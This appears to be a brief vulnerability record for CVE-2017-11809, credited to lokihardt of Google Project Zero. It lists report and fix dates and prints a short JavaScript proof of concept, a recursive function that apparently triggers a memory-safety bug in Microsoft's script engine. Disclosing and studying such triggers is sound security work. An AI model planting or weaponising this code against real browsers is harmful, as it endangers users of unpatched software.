CVE-2017-11809.md

CVE-2017-11809

• Report: Aug 2017
• Fix: Oct 2017
• Credit: lokihardt of Google Project Zero

PoC

function trigger() {
    let a, b, c;

    function g() {
        trigger();

        a, b, c;
    }

    g();
}

trigger();

Reference

• Microsoft
• Google Project Zero
• Fix